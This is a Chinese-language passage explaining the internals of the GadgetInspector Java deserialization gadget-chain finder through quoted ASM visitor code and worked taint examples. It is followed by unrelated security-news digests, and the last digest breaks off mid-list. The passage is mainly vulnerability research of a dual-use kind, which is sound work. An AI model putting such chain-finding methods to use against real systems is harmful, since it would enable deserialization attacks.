class B { public String method2(String param) { return new C().method3(param); }} 进入到方法内部，触发visitCode，将参数this、param放入虚拟局部变量表，并形成与参数列表索引的映射关系。 内部方法执行，ALOAD指令触发visitVarInsn，参数this、param push到污点栈。 方法内部调用C.method3，INVOKEVIRTUAL指令触发visitMethodInsn，该方法首先将C.method3参数类型提取，并判断该方法是否是静态方法，如果不是静态方法，将this（被调用方法所在类的实例对象）存入argTypes第一个，并依次存入其他参数。之后获取了方法的返回值类型的所占大小，后面进行使用： Type[] argTypes = Type.getArgumentTypes(desc); if (opcode != Opcodes.INVOKESTATIC) { //如果执行的非静态方法，则把数组第一个元素类型设置为该实例对象的类型，类比局部变量表 Type[] extendedArgTypes = new Type[argTypes.length+1]; System.arraycopy(argTypes, 0, extendedArgTypes, 1, argTypes.length); extendedArgTypes[0] = Type.getObjectType(owner 接下来初始化argTaint，将其内部元素设置为空，argTaint大小为参数的数量。然后将污点栈中的参数依次存放进argTaint中，对于污点栈savedVariableState.stackVars来说，list从右往左为栈底到栈顶，假设方法参数列表为abc，那么从栈底到栈顶分别为a、b、c。继续将污点栈栈顶元素取出后放在argTaint的最后一个位置，以此类推，从而保证了argTaint中存放的参数索引与C.method3的参数列表的顺序相同。 final List<Set<Integer>> argTaint = new ArrayList<Set<Integer>>(argTypes.length); for (int i = 0; i < argTypes.length; i++) { argTaint.add(null); } int stackIndex = 0; for (int i = 0; i < argTypes.length; i++) { Type argType = argTypes[i]; if (argType.getSize() > 0) { //根据参数类型大小，从栈顶获取入参，参数入栈是从左到右的 接下来判断方法是否是构造器，如果是构造器的话意味着在当前调用方法（B.method2）当中会有这么一段代码： C c = new C(); 因此可以确定被调用方法（C.method3）的返回值结果受到了this（C类实例对象）的污染，那么将argTaint中的0号索引取出，即为this，并将其加入resultTaint。如果不是构造器，那么就创造一个空的HashSet来存储后面的resultTaint。 从passthroughDataflow中拿到被调用方法C.method3的参数与返回值污点分析关系，并判断污点分析关系中的参数是否在当前的argTaint中，如果在则说明被调用方法的返回值被调用者传入的参数污染，这也就是为什么要进行逆拓扑排序。                    Set<Integer> passthrough = passthroughDataflow.get(new MethodReference.Handle(new ClassReference.Handle(owner), name, desc));                    if (passthrough != null) {                        for (Integer passthroughDataflowArg : passthrough) {                            //判断是否和同一方法体内的其它方法返回值关联，有关联则添加到栈底，等待执行return时保存                            resultTaint.addAll(argTaint.get(passthroughDataflowArg));                       } 最后还是return，将B.method2的结果存到passthroughDataflow中 main方法 public class Main {  public String main(String args) throws IOException {    String cmd = new A().method1(args);    return new B().method2(cmd); } } 第一步，执行visitCode存储入参到局部变量表 第二步，执行visitVarInsn参数入栈 第三步，执行visitMethodInsn调用A.method1，A.method1被污染的返回结果，也就是参数索引会被放在栈顶 第四步，执行visitVarInsn把放在栈顶的污染参数索引，放入到本地变量表 第五步，执行visitVarInsn参数入栈 第六步，执行visitMethodInsn调用B.method2，被污染的返回结果会被放在栈顶 第七步，执行visitInsn，返回栈顶数据，缓存到passthroughDataflow，也就是main方法的污点分析结果 最后通过passthroughDiscovery.save方法保存分析数据 public static class PassThroughFactory implements DataFactory<Map.Entry<MethodReference.Handle, Set<Integer>>> {   ...    @Override    public String[] serialize(Map.Entry<MethodReference.Handle, Set<Integer>> entry) {        if (entry.getValue().size() == 0) {            return null;       }        final String[] fields = new String[4];        fields[0] = entry.getKey().getClassReference().getName();        fields[1] = entry.getKey().getName();        fields[2] = entry.getKey().getDesc();        StringBuilder sb = new StringBuilder();        for (Integer arg : entry.getValue()) {            sb.append(Integer.toString(arg));            sb.append(",");       }        fields[3] = sb.toString();        return fields;   } } 最后持久化的passthrough.dat文件的数据格式如下： 类名 方法名 方法描述 能污染返回值的参数索引1,能污染返回值的参数索引2,能污染返回值的参数索引3... 0x05 方法调用污染关联-CallGraphDiscovery 我们用这个例子进行分析： public class Main {  private String name;  public void main(String args) throws IOException {    new A().method1(args, name); } } class A {  public String method1(String param, String param2) {    return param + param2; } } 跟进callGraphDiscovery.discover，读取前面收集的数据，然后使用ModelGeneratorClassVisitor进行观察，visitCode观察每一个类，visitMethod观察类中的每一个方法，继续跟进ModelGeneratorMethodVisitor        @Override        public MethodVisitor visitMethod(int access, String name, String desc,                                         String signature, String[] exceptions) {            MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);            ModelGeneratorMethodVisitor modelGeneratorMethodVisitor = new ModelGeneratorMethodVisitor(classMap,                    inheritanceMap, passthroughDataflow, serializableDecider, api, mv, this.name, access, name, desc, signature, exceptions);            return new JSRInlinerAdapter(modelGeneratorMethodVisitor, access, name, desc, signature, exceptions);       } 进入main方法内部，触发visitCode，main方法不是静态，将this以及参数args存入局部变量表，此处与前面不同的是会在参数索引前加一个arg前缀来进行标识：        public void visitCode() {            super.visitCode();            int localIndex = 0;            int argIndex = 0;            //使用arg前缀来表示方法入参，后续用于判断是否为目标调用方法的入参            if ((this.access & Opcodes.ACC_STATIC) == 0) {                setLocalTaint(localIndex, "arg" + argIndex);                localIndex += 1;                argIndex += 1;           }            for (Type argType : Type.getArgumentTypes(desc)) {                setLocalTaint(localIndex, "arg" + argIndex);                localIndex += argType.getSize();                argIndex += 1;           }       } 我在写到这里的时候有一点疑问，对于visitVarInsn的调用时机。我们来看如下两个例子： // example 1 A a = new A(); a.method1(args); //example 2 new A().method1(args); 我们先来看第一个例子，new A()的字节码指令大概如下，可以看到是没有LOAD指令的，在调用构造方法时直接消费的是操作数栈上的A对象引用： NEW A //创建A类实例 DUP   //创建对象引用 INVOKESPECIAL A.<init>()V //调用构造方法 接下来由于要把对象引用存到a中，因此会把对象引用存储到局部变量表中（假设在局部变量表2号位，局部变量表1号位存储args），即ASTORE指令，此时会触发一次visitVarInsn。那么接下来在调用a.method1(args)时需要进行两次ALOAD，首先把a的对象引用加载到操作数栈上，再把args加载到操作数栈上，从而接着触发了两次visitVarInsn NEW A DUP INVOKESPECIAL A.<init>()V ASTORE 2       // 存到局部槽 2 —> visitVarInsn(ASTORE,2) ALOAD 2         // 再加载回来 —> visitVarInsn(ALOAD,2) ALOAD 1         // 加载 args —> visitVarInsn(ALOAD,1) INVOKEVIRTUAL A.method1… 继续我们看第二个例子，当构造函数执行完毕后，不需要进行ASTORE，并且再调用method1时也不需要从局部变量表中加载a的对象引用，因此最终只有加载args时才会调用一次visitVarInsn NEW A DUP INVOKESPECIAL A.<init>()V // 上一步执行完 new A()，操作数栈上已经有了 A 的实例 ALOAD 1         // 将 args（槽 1）加载到栈顶 — 触发一次 visitVarInsn(AL OAD,1) INVOKEVIRTUAL A.method1:(Ljava/lang/String;)Ljava/lang/Strin 检测到字节码指令new，触发visitTypeInsn，会push一个空的HashSet到污点栈中：   @Override    public void visitTypeInsn(int opcode, String type) {        switch(opcode) {            case Opcodes.NEW:                push();                break;            case Opcodes.ANEWARRAY:                pop();                push();                break;            case Opcodes.CHECKCAST:                // No-op                break;            case Opcodes.INSTANCEOF:                pop();                push();                break;            default:                throw new IllegalStateException("Unsupported opcode: " + opcode);       } 字节码指令INVOKESPECIALA.<init>()V，调用A的构造器，触发visitMethodInsn，判断是否是构造器，被调用方法为构造器，将this设置为argTypes第一个参数：            Type[] argTypes = Type.getArgumentTypes(desc);            if (opcode != Opcodes.INVOKESTATIC) {                Type[] extendedArgTypes = new Type[argTypes.length+1];                System.arraycopy(argTypes, 0, extendedArgTypes, 1, argTypes.length);                extendedArgTypes[0] = Type.getObjectType(owner);                argTypes = extendedArgTypes;           } jiee下来检测启动工具时参数是否要进行污点分析，如果不进行污点分析，则直接把调用方法以及被调用方法封装为GraphCall，加入discoveredCalls中：                    if (!ConfigHelper.taintTrack) {                        //不进行污点分析，全部调用关系都记录                        discoveredCalls.add(new GraphCall(                            new MethodReference.Handle(new ClassReference.Handle(this.owner), this.name, this.desc),                            new MethodReference.Handle(new ClassReference.Handle(owner), name, desc),                            0,                            "",                            0));                        break;                   } 启动污点分析后的逻辑接着往下看，会从污点栈中取出对应的参数，但我们这里由于没有进入到visitVarInsn，因此污点栈目前只有一个在visitInsn中push进去的一个空的set，这一步不会对discoverdCalls做任何事情 接着我们分析method1(args,name)的调用情况，首先需要加载args，触发visitVarInsn，ALOAD指令，将args（arg1）推入污点栈，然后调用visitMethodInsn。由于要传递的参数name是a的属性，因此需要加载this，从this中拿到name属性。触发ALOAD指令，将this（arg0）推入污点栈。此时污点栈中为如下内容： stackVars [{}, {"arg1"}, {"arg0"} ] 接下来需要读入实例a的name字段，检测到字节码指令GETFIELD，触发visitFieldInsn，首先在ClassReference中不断遍历，直到找到该字段，判断该字段是否是transient，如果是transient就没必要加入污点栈。如果是非transient属性，就把栈顶当前的arg0修改为arg0.name加入污点栈中                        Set<String> newTaint = new HashSet<>();                        if (!Boolean.TRUE.equals(isTransient)) {                            for (String s : getStackTaint(0)) {                                newTaint.add(s + "." + name);                           }                       }                        super.visitFieldInsn(opcode, owner, name, desc);                        //在调用方法前，都会先入栈，作为参数                        setStackTaint(0, newTaint); 非静态方法，argTypes第一个为A（this），第二个为String（args），第三个为String（name），对应了污点栈上的[{}，{"arg1"}, {"arg0"} ]（从左到右为栈底到栈顶），for循环i从0到2，分别从污点栈中拿到了arg0.name，arg1和空set。首先对arg0.name进行拆解，最终拆解出来dotIndex为4，srcArgIndex为0，srcArgPath为name，并记录到了discoverdCalls当中。继续拆解arg1，dotindex为-1，srcArgIndexn为1，srcArgPath为null，记录到discoverdCall  int stackIndex = 0;                    for (int i = 0; i < argTypes.length; i++) {                        //最右边的参数，就是最后入栈，即在栈顶                        int argIndex = argTypes.length-1-i;                        Type type = argTypes[argIndex];                        //操作数栈出栈，调用方法前，参数都已入栈                        Set<String> taint = getStackTaint(stackIndex);                        if (taint.size() > 0) {                            for (String argSrc : taint) {                                //取出出栈的参数，判断是否为当前方法的入参，arg前缀                                if (!argSrc.substring(0, 3).equals("arg")) {                                    throw new IllegalStateException("Invalid taint arg: " + argSrc);                               }                                int dotIndex = argSrc.indexOf('.');                                int srcArgIndex;                                String srcArgPath;                                if (dotIndex == -1) {                                    srcArgIndex = Integer.parseInt(argSrc.substring(3));                                    srcArgPath = null;                               } else {                                    srcArgIndex = Integer.parseInt(argSrc.substring(3, dotIndex));                                    srcArgPath = argSrc.substring(dotIndex+1);                               }                                //记录参数流动关系                                //argIndex：当前方法参数索引，srcArgIndex：对应上一级方法的参数索引                                discoveredCalls.add(new GraphCall(                                        new MethodReference.Handle(new ClassReference.Handle(this.owner), this.name, this.desc),                                        new MethodReference.Handle(new ClassReference.Handle(owner), name, desc),                                        srcArgIndex,                                        srcArgPath,                                        argIndex));                           }                       }                        stackIndex += type.getSize();                   } 最后save保存数据，持久化后的callgraph.dat格式如下： 调用者类名 调用者方法caller 调用者方法描述 被调用者类名 被调用者方法target 被调用者方法描述 调用者方法参数索引 调用者字段名 被调用者方法参数索引 0x06 利用链入口搜索-SourceDiscovery 在一开始我们也说到了，在挖掘反序列化链的时候需要指定类型，所以此处先获得对应的sourceDiscovery，我们这里以Jackson反序列化分析        if (!Files.exists(Paths.get("sources.dat"))) {            LOGGER.info("Discovering gadget chain source methods...");            SourceDiscovery sourceDiscovery = config.getSourceDiscovery();            //查找利用链的入口（例：java原生反序列化的readObject）            sourceDiscovery.discover();            sourceDiscovery.save();       } 跟进SourceDiscovery.discover在jackson中的实现，可以发现对于Jackson反序列化来说，source需要判断方法是否是无参构造、setter和getter，只有这些方法才能作为jackson反序列化的入口：    @Override    public void discover(Map<ClassReference.Handle, ClassReference> classMap,                         Map<MethodReference.Handle, MethodReference> methodMap,                         InheritanceMap inheritanceMap, Map<MethodReference.Handle, Set<GraphCall>> graphCallMap) {        final JacksonSerializableDecider serializableDecider = new JacksonSerializableDecider(methodMap);        for (MethodReference.Handle method : methodMap.keySet()) {            if (skipList.contains(method.getClassReference().getName())) {                continue;           }            if (serializableDecider.apply(method.getClassReference())) {                if (method.getName().equals("<init>") && method.getDesc().equals("()V")) {                    addDiscoveredSource(new Source(method, 0));               }                if (method.getName().startsWith("get") && method.getDesc().startsWith("()")) {                    addDiscoveredSource(new Source(method, 0));               }                if (method.getName().startsWith("set") && method.getDesc().matches("\\(L[^;]*;\\)V")) {                    addDiscoveredSource(new Source(method, 0));               }           }       }   } 最后还是将方法保存持久化为sources.dat，格式如下： 类名 方法名 方法描述 污染参数索引 0x07 gadgetChain挖掘-GadgetChainDiscovery 跟进GadgetChainDiscovery.discover，首先进行所有重写方法的扫描，在一开始我们也说了工具没有办法在运行时进行扫描，所以对于各种方法的重写我们没有办法确定到底调用的是哪个方法 Map<MethodReference.Handle, MethodReference> methodMap = DataLoader.loadMethods();    InheritanceMap inheritanceMap = InheritanceMap.load();    Map<MethodReference.Handle, Set<MethodReference.Handle>> methodImplMap = InheritanceDeriver       .getAllMethodImplementations(            inheritanceMap, methodMap);    Map<ClassReference.Handle, Set<MethodReference.Handle>> methodsByClass = InheritanceDeriver.getMethodsByClass(methodMap); 跟进InheritanceDeriver.getAllMethodImplementations，获取之前收集到的method的类，并通过之前收集到的继承关系来获取类的所有子孙类，最终形成类->子孙类的映射关系： Map<Handle, Set<MethodReference.Handle>> methodsByClass = getMethodsByClass(methodMap);   Map<ClassReference.Handle, Set<ClassReference.Handle>> subClassMap = new HashMap<>();        for (Map.Entry<ClassReference.Handle, Set<ClassReference.Handle>> entry : inheritanceMap.entrySet()) {            for (ClassReference.Handle parent : entry.getValue()) {                if (!subClassMap.containsKey(parent)) {                    Set<ClassReference.Handle> subClasses = new HashSet<>();                    subClasses.add(entry.getKey());                    subClassMap.put(parent, subClasses);               } else {                    subClassMap.get(parent).add(entry.getKey());               }           }       } 接下来遍历所有的方法，并遍历subclasses，如果某一个subclass中存在与当前遍历的方法名和返回值一致的方法，就将其加入overridingMethods，最后整合所有重写的方法，形成方法名到重写方法之间的映射关系，由于静态方法不可重写，因此遇到静态方法直接跳过：        //遍历所有方法，根据父类->子孙类集合，找到所有的override的方法，记录下来（某个类的方法->所有的override方法）        Map<MethodReference.Handle, Set<MethodReference.Handle>> methodImplMap = new HashMap<>();        for (MethodReference method : methodMap.values()) {            // Static methods cannot be overriden            if (method.isStatic()) {                continue;           }            Set<MethodReference.Handle> overridingMethods = new HashSet<>();            Set<ClassReference.Handle> subClasses = subClassMap.get(method.getClassReference());            if (subClasses != null) {                for (ClassReference.Handle subClass : subClasses) {                    // This class extends ours; see if it has a matching method                    Set<MethodReference.Handle> subClassMethods = methodsByClass.get(subClass);                    if (subClassMethods != null) {                        for (MethodReference.Handle subClassMethod : subClassMethods) {                            if (subClassMethod.getName().equals(method.getName()) && subClassMethod.getDesc().equals(method.getDesc())) {                                overridingMethods.add(subClassMethod);                           }                       }                   }               }           }            if (overridingMethods.size() > 0) {                methodImplMap.put(method.getHandle(), overridingMethods);           }       } 然后下面的一大堆逻辑就是对重写方法关系的持久化存储，最终的methodimpl.dat格式如下： 类名 方法名 方法描述 \t重写方法的类名 方法名 方法描述 \t重写方法的类名 方法名 方法描述 \t重写方法的类名 方法名 方法描述 \t重写方法的类名 方法名 方法描述 类名 方法名 方法描述 \t重写方法的类名 方法名 方法描述 \t重写方法的类名 方法名 方法描述 接下来对callgraph.dat的调用关系进行整合，对于同一个方法发起的调用，整合成caller->被调用方法集合之间的映射关系：    Map<MethodReference.Handle, Set<GraphCall>> graphCallMap = new HashMap<>();    for (GraphCall graphCall : DataLoader       .loadData(Paths.get("callgraph.dat"), new GraphCall.Factory())) {      MethodReference.Handle caller = graphCall.getCallerMethod();      if (!graphCallMap.containsKey(caller)) {        Set<GraphCall> graphCalls = new HashSet<>();        graphCalls.add(graphCall);        graphCallMap.put(caller, graphCalls);     } else {        graphCallMap.get(caller).add(graphCall);     }   } 剩下的挖掘逻辑我们用一个例子来分析： 设我们有如下方法间调用： 源：A.sources() 污染参数 0 A.sources(0) → 调用 B.load(0) B.load(0) → 调用接口方法 C.handle(0) C.handle(0) 在实现类 CImpl 中有实现 CImpl.handle(0) CImpl.handle(0) → 调用 D.sink(1)（这里假设它把参数 1 污染到 sink） D.sink(1) 是最终的 sink 对应的数据结构： sources.dat 只包含一个 Source(A.sources, taintedArgIndex=0) graphCallMap A.sources → { GraphCall(callerArgIndex=0, targetMethod=B.load, targetArgIndex=0) }B.load → { GraphCall(callerArgIndex=0, targetMethod=C.handle, targetArgIndex=0) }C.handle → { GraphCall(callerArgIndex=0, targetMethod=C.handle, targetArgIndex=0) } // interfaceCImpl.handle → { GraphCall(callerArgIndex implementationFinder.getImplementations(C.handle) → { CImpl.handle } isSink(D.sink,1) → true 对于是否为sink点的判断逻辑如下： private boolean isSink(MethodReference.Handle method, int argIndex, InheritanceMap inheritanceMap) { if (!customSlinks.isEmpty()) { for (CustomSlink customSlink:customSlinks) { boolean flag = false; if (customSlink.getClassName() != null) flag &= customSlink.getClassName().equals(method.getClassRef 配置参数： maxChainLength = 10opLevel = 2taintTrack = true 1️⃣ 初始化 for each Source: srcLink = (A.sources, 0) methodsToExplore = [ [ A.sources(0) ] ] exploredMethods = { A.sources(0) }discoveredGadgets = { } 2️⃣ 第一次迭代 iteration=0 → pop first chain chain = [ A.sources(0) ]lastLink = (A.sources,0) 长度检查：1 < maxChainLength → 通过 取出 graphCallMap.get(A.sources) → { GC1 } GC1: (callerArgIndex=0 → targetMethod=B.load, targetArgIndex=0) taintTrack：GC1.callerArgIndex(0) == lastLink.taintedArgIndex(0) → 通过 找实现：allImpls = getImpls(B.load) → { B.load }（普通方法） 遍历 impls： methodImpl = B.load newLink = (B.load,0) 去重：exploredMethods 不含 → 继续 新链：newChain = [ A.sources(0), B.load(0) ] sink 检测：isSink(B.load,0) → false 加入队列： methodsToExplore = [ [A.sources(0),B.load(0)] ]exploredMethods.add(B.load(0)) 3️⃣ 第二次迭代 iteration=1 → pop chain = [A.sources(0),B.load(0)]lastLink = (B.load,0) graphCallMap.get(B.load) → { GC2 } GC2: (callerArgIndex=0 → targetMethod=C.handle, targetArgIndex=0) taintTrack：匹配 → 通过 impls：getImpls(C.handle) → { }，fallback 父类查找也无（接口），所以按注释 “GadgetInspector bug”，跳到父类去搜，依次找到 C.handle 本身，加入。 impls 变为 → { C.handle } for each impl： newLink = (C.handle,0) 去重通过 newChain = [A.sources(0),B.load(0),C.handle(0)] isSink(C.handle,0) → false 加入： methodsToExplore = [ [A.sources(0),B.load(0),C.handle(0)] ] exploredMethods.add(C.handle(0)) 4️⃣ 第三次迭代 chain = [A.sources(0),B.load(0),C.handle(0)] graphCallMap.get(C.handle) → { GC3 } GC3: (callerArgIndex=0 → targetMethod=C.handle, targetArgIndex=0) // 发自实现类 taintTrack：匹配 impls：getImpls(C.handle) → { CImpl.handle } for each： newLink = (CImpl.handle,0) 去重通过 newChain = [A.sources(0),B.load(0),C.handle(0),CImpl.handle(0)] isSink(CImpl.handle,0) → false 入队 & 加入 exploredMethods 5️⃣ 第四次迭代 chain = [ …, CImpl.handle(0)] graphCallMap.get(CImpl.handle) → { GC4 } GC4: (callerArgIndex=0 → targetMethod=D.sink, targetArgIndex=1) taintTrack：匹配 impls：getImpls(D.sink) → { D.sink } for each： newLink = (D.sink,1) 去重通过 newChain = [ …, CImpl.handle(0), D.sink(1)] isSink(D.sink,1) → true 加入 discoveredGadgets 此时 methodsToExplore 可能为空，循环结束。 接下来进行链路聚合优化 java复制编辑for (GadgetChain shortChain : methodsToExploreRepeat) { for (GadgetChain fullChain : discoveredGadgets) {   if (shortChain.lastLink 出现在 fullChain 里) {     // 把 fullChain 从 shortChain.lastLink 之后的部分拼过来     tmpDiscoveredGadgets.add( 拼合后的链 );   } } } discoveredGadgets.addAll(tmpDiscoveredGadgets); 比如如果我们因为 opLevel 限制，把某条中间链放进了 methodsToExploreRepeat 而没展开到 sink，那么这段逻辑就能 把这些中途链 自动补全到 已知的完整 Chain，得到更多发现。

1、黑客组织UNC2428借虚假招聘投递MURKYTOUR后门 https://thehackernews.com/2025/04/iran-linked-hackers-target-israel-with.html 2025年4月23日，研究人员披露伊朗黑客组织UNC2428于2024年10月对以色列发起钓鱼攻击。攻击者伪装成以色列国防承包商Rafael的招聘人员，通过虚假职位诱骗目标下载名为"RafaelConnect.exe"的恶意安装程序（LONEFLEET）。该程序呈现仿真的图形界面（GUI）诱导受害者填写个人信息，实则暗中部署MURKYTOUR后门，并通过LEAFPILE启动器维持持久化访问。 2、研究人员发现针对俄罗斯军方的Android间谍软件 https://securityaffairs.com/176886/malware/android-spyware-hidden-in-mapping-software-targets-russian-soldiers.html 2025年4月24日，研究人员发现针对俄罗斯军方的Android间谍软件。该恶意代码被植入篡改版Alpine Quest地图应用，通过俄罗斯第三方应用商店传播。间谍软件可窃取通讯录、定位数据及设备文件，并支持远程下载附加模块。攻击者利用俄军人员对专业地形规划软件的需求，将恶意程序伪装成"Alpine Quest Pro"高级功能免费版分发。 3、Docker环境成为加密挖矿活动目标 https://securityaffairs.com/176877/malware/crypto-mining-campaign-targets-docker-environments-with-new-evasion-technique.html 2025年4月23日，研究人员披露针对Docker环境的恶意挖矿活动。攻击者利用Docker Hub上的"kazutod/tene:ten"镜像部署恶意节点，连接至去中心化基础设施网络Teneo。该恶意软件通过运行社区节点，秘密抓取Facebook、X（原Twitter）、Reddit及TikTok等社交平台公开数据以获取Teneo积分（可兑换 4、2025年第一季度159个CVE漏洞遭利用28.3%在披露24小时内被攻击 https://www.freebuf.com/articles/network/428660.html 2025年第一季度共有159个CVE编号漏洞被确认在野利用，较2024年第四季度的151个有所上升。网络安全公司VulnCheck向《黑客新闻》提供的报告指出："我们发现漏洞利用速度持续加快，28.3%的漏洞在其CVE披露后24小时内就遭到利用。"这意味着有45个安全漏洞在公开披露当天就被用于实际攻击。另有14个漏洞在一个月内遭利用，还有45个漏洞在一年内被滥用。 5、Google Forms被恶意利用，多行业面临凭证泄露风险 https://www.anquanke.com/post/id/306858 Google Forms — 科技巨头广受欢迎的调查工具，已成为网络犯罪分子武器库中的得力工具。它使犯罪分子能够绕过复杂的电子邮件安全过滤器，并获取敏感的用户凭证。 6、XRPL官方NPM包遭恶意篡改，私钥窃取威胁波及数十万加密货币应用 https://www.anquanke.com/post/id/306856 一场针对加密货币用户的重大供应链攻击事件发生了。XRP Ledger 的 JavaScript SDK 的官方 XRPL NPM 包遭到了恶意代码的篡改，这些恶意代码旨在窃取加密货币的私钥，有可能影响到成千上万的应用程序。 7、Redis高危漏洞CVE-2025-21605，多版本补丁紧急修复 https://www.anquanke.com/post/id/306847 在广受欢迎的开源内存数据结构存储系统 Redis 中发现了一个严重高危漏洞，该漏洞可能使未经身份验证的用户耗尽服务器内存，并导致拒绝服务（DoS）情况的发生。这个漏洞被追踪编号为 CVE-2025-21605，影响从 2.6 版本起的所有 Redis 版本，通用漏洞评分系统（CVSS）评分为 7.5 分。 8、Grafana 高危漏洞可致关键业务数据泄露 https://www.anquanke.com/post/id/306841 Grafana Labs 已针对多个产品版本发布了安全更新，修复了一个高危和两个中危级别的漏洞，这些漏洞影响了Grafana OSS 和 Grafana Enterprise。其中最严重的漏洞是 CVE-2025-3260，通用漏洞评分系统（CVSS）评分为 8.3（高危），该漏洞可能导致未经授权的用户访问和修改仪表盘，即使是权限极低的用户也能做到。 9、Linux 'io_uring' 安全盲点允许隐蔽的后门攻击 https://www.bleepingcomputer.com/news/security/linux-io-uring-security-blindspot-allows-stealthy-rootkit-attacks/ Linux 运行时安全中的一个重大安全漏洞由'io_uring'接口引起，允许根 kit 在系统上运行而不被高级企业安全软件检测到，从而绕过安全防护。 10、黑客利用OAuth 2.0工作流劫持Microsoft 365账户 https://www.bleepingcomputer.com/news/security/hackers-abuse-oauth-20-workflows-to-hijack-microsoft-365-accounts/ 俄罗斯威胁行为者一直在利用合法的 OAuth 2.0 身份验证工作流劫持与乌克兰和人权组织相关的组织的员工的 Microsoft 365 账户。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、俄机构遭伪装成ViPNet软件更新包的后门攻击 https://securelist.com/new-backdoor-mimics-security-software-update/116246/ 2025年4月22日，研究人员发现一起针对俄罗斯政府、金融及工业领域大型机构的复杂网络攻击。攻击者将后门程序伪装成ViPNet安全网络软件的更新包（LZH压缩格式），通过该软件的更新渠道进行传播。ViPNet是俄罗斯广泛使用的安全组网解决方案，此次攻击利用其信任链实施供应链攻击。该后门可控制受感染主机，但攻击者的具体意图尚在调查中。 2、SK电讯遭恶意攻击致用户USIM数据泄露 https://securityaffairs.com/176802/data-breach/sk-telecom-data-breach.html 2025年4月22日，韩国最大电信运营商SK电讯（SK Telecom）遭遇恶意软件攻击，导致客户通用用户识别模块（USIM）数据外泄。USIM卡存储包括国际移动用户识别码（IMSI）及加密密钥在内的关键用户信息。SK电讯在发现入侵后立即向韩国互联网振兴院（KISA）报告，并于4月20日对受影响系统进行清理隔离。 3、MalenuStealer木马利用Discord平台实施网络钓鱼 https://www.binarydefense.com/resources/blog/a-look-at-a-novel-discord-phishing-attack/ 2025年4月22日，研究人员披露一种通过Discord平台传播的窃密木马MalenuStealer。攻击者利用已入侵的Discord账号向好友发送伪装成"游戏测试邀请"的钓鱼消息，诱导用户下载所谓"测试版游戏"，实则植入恶意软件。该木马专门窃取受害者的账号密码、支付信息等敏感数据。 4、SSL的.com站漏洞允许主要域名使用欺诈性SSL证书 https://hackread.com/ssl-com-vulnerability-fraud-ssl-certificates-domains/ 2025年4月22日，研究人员披露SSL.com存在严重漏洞，攻击者可利用其电子邮件验证机制的缺陷，为任意主要域名签发合法SSL/TLS证书。该问题源于SSL.com的域名控制验证（DCV）流程缺陷，SSL证书是保障HTTPS加密通信的核心，而证书颁发机构（CA）的信任体系一旦被破坏，可能导致中间人攻击、钓鱼网站仿冒等风险。目前SSL.com已紧急修复该漏洞，但尚未公布受影响证书的吊销情况。 5、新型恶意软件采用独特混淆技术劫持Docker镜像 https://www.freebuf.com/articles/428513.html 安全研究人员发现新型恶意软件正在攻击Docker环境，该软件采用复杂的多层混淆技术逃避检测，通过劫持计算资源进行加密货币挖矿（cryptojacking）。 6、三星One UI安全漏洞：剪贴板数据明文存储且永不过期 https://cybersecuritynews.com/samsung-one-ui-security-flaw/ 三星One UI系统存在重大安全漏洞，剪贴板数据以明文永久存储，包括密码等敏感信息，且无自动删除机制。攻击者可轻易获取数据，建议手动清除或使用自动填充功能。该问题多年未解决，引发用户强烈担忧。 7、谷歌云Composer漏洞允许攻击者提升权限 https://cybersecuritynews.com/google-cloud-composer-vulnerability/ 谷歌云平台(GCP)的Cloud Composer服务存在"ConfusedComposer"权限提升漏洞，攻击者可通过注入恶意PyPI包获取高权限服务账户控制权。谷歌已修复该漏洞，改用更安全的服务账户执行安装操作，并更新相关文档。 8、伪装成Alpine Quest的恶意地图应用被曝监控俄军动向 https://hackread.com/fake-alpine-quest-mapping-app-spying-russian-military/ 伪造Alpine Quest应用植入间谍软件，窃取俄军定位数据、通讯录及文件。通过Telegram传播，伪装为"专业版"，可远程扩展功能。建议避免非官方渠道下载，警惕模块化恶意软件。幕后组织尚未确认。 9、"Cookie-Bite"攻击手法可绕过多重验证并维持持久访问权限 https://cybersecuritynews.com/cookie-bite-attack/ 网络安全研究人员发现"Cookie-Bite"攻击技术，通过窃取浏览器cookie绕过MFA保护，持久访问云环境。攻击者利用中间人攻击、恶意扩展等手段窃取会话令牌，无需凭证即可冒充用户。建议企业监控异常行为、限制浏览器扩展并部署令牌保护机制应对威胁。 10、GPT4在公开漏洞利用代码发布前成功生成CVE有效攻击程序 https://cybersecuritynews.com/chatgpt-creates-working-exploit-for-cves/ AI成功生成高危漏洞攻击程序，改写网络安全格局。GPT-4仅凭CVE描述即完成代码分析、漏洞定位、攻击编写及调试全过程，大幅缩短漏洞利用开发时间。这一突破既提升研究效率，也加剧安全风险，迫使组织加速补丁部署。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、Kimsuky APT利用BlueKeep漏洞攻击日韩 https://securityaffairs.com/176756/apt/kimsuky-apt-exploited-bluekeep-rdp-flaw-in-attacks-against-south-korea-and-japan.html 2025年4月21日，韩国AhnLab研究人员发现，朝鲜背景的APT组织Kimsuky（追踪代号Larva-24005）近期利用已修补的Microsoft远程桌面协议（RDP）漏洞BlueKeep（CVE-2019-0708）入侵目标系统。此外，Kimsuky还通过钓鱼邮件及Microsoft Office Equation Editor漏洞（C 2、黑客利用WinDbg Preview绕过Windows Defender防护 https://gbhackers.com/hackers-bypassed-windows-defender-policies 2025年4月21日，研究人员披露，攻击者可利用WinDbg Preview调试工具绕过Windows Defender应用程序控制(WDAC)策略。该漏洞被称为为"WinDbg Preview Exploit"，利用调试器的高级功能执行代码并实现远程进程注入，成功规避了企业环境中针对未签名或未授权代码的防护措施。 3、黑客兜售可绕过主流AV/EDR的"Baldwin Killer"恶意工具 https://gbhackers.com/hackers-claim-to-sell-baldwin-killer-malware/ 2025年4月21日，某知名威胁攻击者在暗网论坛公开出售名为"Baldwin Killer"的高级恶意软件工具包。据称该工具能够有效绕过包括Windows Defender、卡巴斯基、Bitdefender和Avast在内的主流杀毒软件及终端检测响应(EDR)系统。安全专家对此表示高度关注，认为该工具的出现可能显著降低攻击门槛，使更多威胁行为者能够突破企业基础安全防护。 4、WordPress恶意插件日均生成14亿广告请求 https://www.bleepingcomputer.com/news/security/scallywag-ad-fraud-operation-generated-14-billion-ad-requests-per-day/ 